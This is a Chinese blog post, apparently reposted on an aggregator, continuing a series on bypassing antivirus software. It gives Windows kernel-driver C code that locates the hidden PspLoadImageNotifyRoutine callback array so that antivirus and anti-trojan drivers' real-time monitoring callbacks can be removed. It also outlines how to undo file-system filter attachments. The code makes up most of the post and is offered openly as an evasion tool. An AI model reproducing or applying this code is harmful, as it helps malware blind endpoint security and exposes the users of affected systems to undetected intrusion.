绕过杀毒软件之一续
来源:互联网 发布:共享单车市场数据 编辑:程序博客网 时间:2024/05/18 12:32
上次说的绕过杀毒软件之一(实时监控篇)中,提供了解决方法这是对应代码:
(至于如何清理具体驱动的NotfiyRoutine,就是找到驱动所加载的地址,用PsLoadedModuleList或ZwQuerySystemInformation,然后判断PspLoadImageNotifyRoutine中的项是否落在此驱动范围,
我在这就不罗嗦了,自己动手去)
//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__
DWORD FindPspLoadImageNotifyRoutine(void);
NTSTATUS InitFixNotify(void);
VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo);
#endif
//FixNotify.cpp
#include "FixNotify.h"
NTSTATUS InitFixNotify(void)
{
return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}
VOID MyNotifyRoutine(IN PUNICODE_STRING FullImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo)
{
return;
}
DWORD FindPspLoadImageNotifyRoutine(void)
{
UINT i,j;
BYTE* pCheckArea;
DWORD dwCheckAddr;
DWORD dwNotifyItemAddr;
DWORD* pPspLINotifyRoutine;
UNICODE_STRING unstrFunc;
RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");
pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
if (!pCheckArea)
{
KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
return 0;
}
for (i=0; i<100; i++)
{
dwCheckAddr = *(DWORD*)pCheckArea;
pPspLINotifyRoutine = (DWORD*)dwCheckAddr;
if (MmIsAddressValid(pPspLINotifyRoutine))
{
KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));
dwNotifyItemAddr = *pPspLINotifyRoutine;
//内核中关于Notify地址记录问题,在winxp(win2003)与win2000(NT4.0)下差异很大
#if defined (_WINXP_) || defined (_WIN2003_)
for (j=0; j<8; j++)
{
if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
{
if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
{
KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
return (DWORD)pPspLINotifyRoutine;
}
}
dwNotifyItemAddr++;
}
#else
for (j=0; j<8; j++)
{
if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
{
KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
return (DWORD)pPspLINotifyRoutine;
}
dwNotifyItemAddr++;
}
#endif
}
pCheckArea++;
}
return 0;
}
ps:关于PsSetCreateProcessNotifyRoutine和Attach File System部分,我在下面一篇文章会分析,
1)PsSetCreateProcessNotifyRoutine修复的方法和PsSetLoadImageNotifyRoutine一样。
2)Attach File System修复的方法是通用解除Attach的方法!详见IoAttachDevice的实现,反过来就可以了。
- 绕过杀毒软件之一续
- 绕过杀毒软件之一
- 绕过杀毒软件之一
- 绕过杀毒软件之一(实时监控篇)续
- 绕过杀毒软件之一(实时监控篇)
- 绕过部分杀毒软件溢出防护shellcode的方法!
- 如何利用十行代码,绕过杀毒软件实现免杀?
- 如何利用十行代码,绕过杀毒软件实现免杀?
- 2.杀毒软件大揭秘! 揭开杀毒软件同质化弥天大谎 之一
- 世界上最优秀的杀毒软件之一
- ~~~杀毒软件
- 杀毒软件
- 杀毒软件
- 支持64位系统的XOR加密后内存加载PE绕过杀毒软件
- 突破SafeSEH机制之一——利用堆绕过SafeSEH
- 禁用了PowerShell又如何?看我如何用PowerShell绕过应用白名单、环境限制、以及杀毒软件
- 教大家多个域名绑定一个空间的解决办法,原创,自己已经测试过了,完全可以绕过杀毒软件,以及空间商.
- 隔热噶热噶绕过绕过
- ActiveX在.NET 2005中的实现(一)
- JNDI
- C#操作文件
- maikr,强烈推荐博客伴侣!
- VC中用内存映射文件处理大文件与内存映射文件
- 绕过杀毒软件之一续
- Windows平台开发-四种启动其它程序的方法
- 离开黄岛,未来的日子
- 解除远程dll,屏蔽GP的方法
- 存储过程写插入语句需要注意的地方
- 关于RootKit设计思考
- ActiveX在.NET 2005中的实现(二)
- 怀疑论者的 JSF: 消除关于 JSF 的 FUD
- 深入浅出URL编码